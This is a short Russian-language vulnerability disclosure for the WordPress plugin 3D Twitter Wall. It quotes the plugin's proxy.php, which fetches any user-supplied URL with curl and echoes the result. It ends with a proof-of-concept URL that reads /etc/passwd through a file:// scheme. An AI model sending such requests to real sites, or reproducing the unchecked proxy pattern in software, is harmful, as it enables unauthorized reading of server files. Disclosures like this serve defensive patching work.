Уязвимости WordPress и плагинов

[Sleep]

WP 3D Twitter Wall
Чтение файлов

# Vendor: https://wordpress.org/plugins/3d-twitter-wall/
#/wp-content/plugins/3d-twitter-wall/proxy.php

$url = ($_POST['url']) ? $_POST['url'] : $_GET['url'];
...
$session = curl_init($url);    // $url = $_GET['url'] OR $_POST['url']
...
$response = curl_exec($session);
echo $response;
curl_close($session);

POC: _http://example.com/plugins/3d-twitter-wall/proxy.php?url=file:///etc/passwd